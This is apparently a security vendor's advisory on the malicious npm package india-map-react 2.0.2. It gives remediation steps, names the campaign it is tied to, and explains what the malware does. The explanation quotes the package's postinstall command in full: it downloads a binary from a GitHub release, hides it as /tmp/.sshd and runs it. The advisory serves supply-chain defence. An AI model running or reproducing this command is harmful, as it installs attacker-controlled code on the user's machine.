Which versions of india-map-react are malicious?

The following npm versions of india-map-react are flagged malicious: 2.0.2. Treat any of these as compromised.

How do I remediate india-map-react if I installed it?

Remove india-map-react from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is india-map-react part of a known attack campaign?

Yes — india-map-react is associated with the IN-MAL-2026-005374 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect india-map-react in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking india-map-react and packages like it before any post-install script runs.

What this malware does

On npm install, the package's postinstall script runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. The fetch disables TLS verification (-k), silences errors (-s plus 2>/dev/null), targets a latest-tagged (mutable) release on a GitHub account (parikhpreyash4) that does not match the npm publisher (yuvrajDurgesh), stages the downloaded binary at the hidden path /tmp/.sshd to impersonate the SSH daemon, sets it executable, and launches it backgrounded. The package's advertised purpose is a React component for an India map; downloading and executing an unrelated native binary from a third-party GitHub account is unrelated to that purpose. Every installer running npm install [email protected] is forced to execute attacker-controlled code on their machine.
